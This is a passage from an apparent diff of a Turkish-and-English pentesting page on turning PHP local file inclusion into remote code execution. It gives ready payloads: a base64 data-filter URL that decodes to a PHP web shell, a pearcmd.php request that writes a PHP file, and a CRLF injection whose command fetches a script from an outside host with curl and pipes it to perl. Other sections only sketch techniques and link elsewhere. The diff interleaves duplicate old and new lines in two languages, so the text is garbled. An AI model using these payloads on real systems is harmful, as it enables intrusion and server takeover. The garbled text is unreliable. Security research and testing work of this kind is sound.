1. Giriş işlemi sırasında kullanıcı adı alanına bir PHP payload enjekte edin.
2. Enjeksiyondan sonra, LFI'yi kullanarak sunucu loglarını _**/var/log/vsftpd.log**_ dosyasından alın.
### php base64 filtresi ile (base64 kullanarak)
### php base64 filter ile (base64 kullanarak)
Bu [makalede](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) gösterildiği gibi, PHP base64 filter sadece Non-base64 karakterlerini yok sayar. Bunu dosya uzantısı kontrolünü atlatmak için kullanabilirsin: eğer sonu ".php" ile biten base64 sağlarsan, filter "." karakterini yok sayar ve base64'e "php" ekler. İşte bir örnek payload:
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. Bunu dosya uzantısı kontrolünü atlatmak için kullanabilirsiniz: eğer ".php" ile biten base64 sağlarsanız, filtre "." karakterini yoksayar ve "php"yi base64'e ekler. İşte bir örnek payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### php filters ile (dosya gerekmez)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) php filters kullanarak çıktı olarak **rastgele içerik üretebileceğinizi**ıklar. Bu, temelde include için **rastgele php kodu üretebileceğiniz** ve bunu bir dosyaya yazmanız **gerekmeyeceği** anlamına gelir.
### php filters ile (no file needed)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) açıklar ki **php filters to generate arbitrary content** olarak çıktı üretmek için kullanabilirsiniz. Bu temelde include için **generate arbitrary php code** oluşturabileceğiniz ve bunu bir dosyaya yazmaya **without needing to write** gerekmeden yapabileceğiniz anlamına gelir.
{{#ref}}
lfi2rce-via-php-filters.md
@ -579,8 +578,7 @@ lfi2rce-via-php-filters.md
### segmentation fault ile
**Bir dosya yükleyin**; bu dosya `/tmp` içinde **geçici** olarak saklanacaktır, sonra **aynı istekte** bir **segmentation fault** tetikleyin; böylece **geçici dosya silinmeyecek** ve onu arayabilirsiniz.
Bir dosyayı yükleyin; bu dosya `/tmp` içinde geçici olarak saklanacaktır. Ardından aynı istekte bir **segmentation fault** tetikleyin; böylece geçici dosya silinmeyecek ve onu arayabilirsiniz.
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -588,8 +586,7 @@ lfi2rce-via-segmentation-fault.md
### Nginx temp file storage ile
Eğer bir **Local File Inclusion** bulduysanız ve **Nginx** PHP'nin önünde çalışıyorsa, aşağıdaki teknikle **RCE** elde edebilirsiniz:
Eğer bir **Local File Inclusion** bulduysanız ve **Nginx** PHP'nin önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
@ -597,58 +594,56 @@ lfi2rce-via-nginx-temp-files.md
### PHP_SESSION_UPLOAD_PROGRESS ile
Eğer bir **Local File Inclusion** bulduysanız, hatta **oturumunuz yoksa** ve `session.auto_start` `Off` ise. Eğer **multipart POST** verisinde **`PHP_SESSION_UPLOAD_PROGRESS`** sağlarsanız, PHP sizin için **oturumu etkinleştirecektir**. Bunu RCE elde etmek için suistimal edebilirsiniz:
Eğer bir **Local File Inclusion** bulduysanız — oturumunuz olmasa bile ve `session.auto_start` `Off` olsa bile — multipart POST verisinde **`PHP_SESSION_UPLOAD_PROGRESS`** sağlarsanız, PHP oturumu sizin için etkinleştirecektir. Bunu RCE elde etmek için suistimal edebilirsiniz:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Windows'ta temp file uploads ile
### Windows üzerinde temp file uploads ile
Eğer bir **Local File Inclusion** bulduysanız ve sunucu **Windows** üzerinde çalışıyorsa, RCE elde edebilirsiniz:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### `pearcmd.php` + URL args ile
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Ayrıca, URL üzerinden script'e argüman geçirmek mümkündür çünkü eğer bir URL parametresi `=` içermiyorsa argüman olarak kullanılacağı belirtilmiştir. Ayrıca bakınız [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) ve [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), `/usr/local/lib/phppearcmd.php` scripti php docker images'ta varsayılan olarak bulunur. Ayrıca URL aracılığıyla script'e argüman geçirmek mümkündür çünkü eğer bir URL parametresi `=` içermiyorsa argüman olarak kullanılacağı belirtilmiştir. Ayrıca bkz. [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) ve [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
Aşağıdaki istek `/tmp/hello.php` içinde `<?=phpinfo()?>` içeriğiyle bir dosya oluşturur:
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Aşağıdaki, RCE elde etmek için bir CRLF zafiyetini suistimal eder (kaynak: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
Aşağıdaki örnek, CRLF vulnunu RCE elde etmek için kötüye kullanır (kaynak: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### phpinfo() ile (file_uploads = on)
### Via phpinfo() (file_uploads = on)
Eğer bir **Local File Inclusion** bulduysanız ve file_uploads = on olan **phpinfo()** gösteren bir dosya varsa RCE elde edebilirsiniz:
If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file_uploads = on you can get RCE:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure ile
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Eğer bir **Local File Inclusion** bulduysanız ve geçici dosyanın yolunu **can exfiltrate the path** edebiliyorsanız ANCAK **server** **checking** yapıp **file to be included has PHP marks** olup olmadığını kontrol ediyorsa, bu **bypass that check** için bu **Race Condition**'ı deneyebilirsiniz:
If you found a **Local File Inclusion** and you **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks**, you can try to **bypass that check** with this **Race Condition**:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### eternal waiting + bruteforce ile
### Via eternal waiting + bruteforce
Eğer LFI'yi kötüye kullanarak **upload temporary files** yapabiliyor ve server'ın PHP yürütmesini **hang** ettirebiliyorsanız, geçici dosyayı bulmak için saatlerce **brute force filenames during hours** deneyebilirsiniz:
If you can abuse the LFI to **upload temporary files** and make the server **hang** the PHP execution, you could then **brute force filenames during hours** to find the temporary file:
{{#ref}}
@ -657,13 +652,19 @@ lfi2rce-via-eternal-waiting.md
### To Fatal Error
Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini include ederseniz. (Bu hatayı fırlatmak için aynı dosyayı 2 kez include etmeniz gerekiyor).
If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
**Bunun ne kadar faydalı olduğunu bilmiyorum ama işe yarayabilir.**\
_PHP Fatal Error'a neden olsanız bile, yüklenen PHP geçici dosyaları silinir._
Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini include ederseniz. (Bu hatayı tetiklemek için aynı dosyayı 2 kez include etmeniz gerekir).
**I don't know how is this useful but it might be.**\
_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
**Bunun ne kadar kullanışlı olabileceğini bilmiyorum ama işe yarayabilir.**\
_Bir PHP Fatal Error'a neden olsanız bile, upload edilen PHP geçici dosyaları silinir._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## References
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)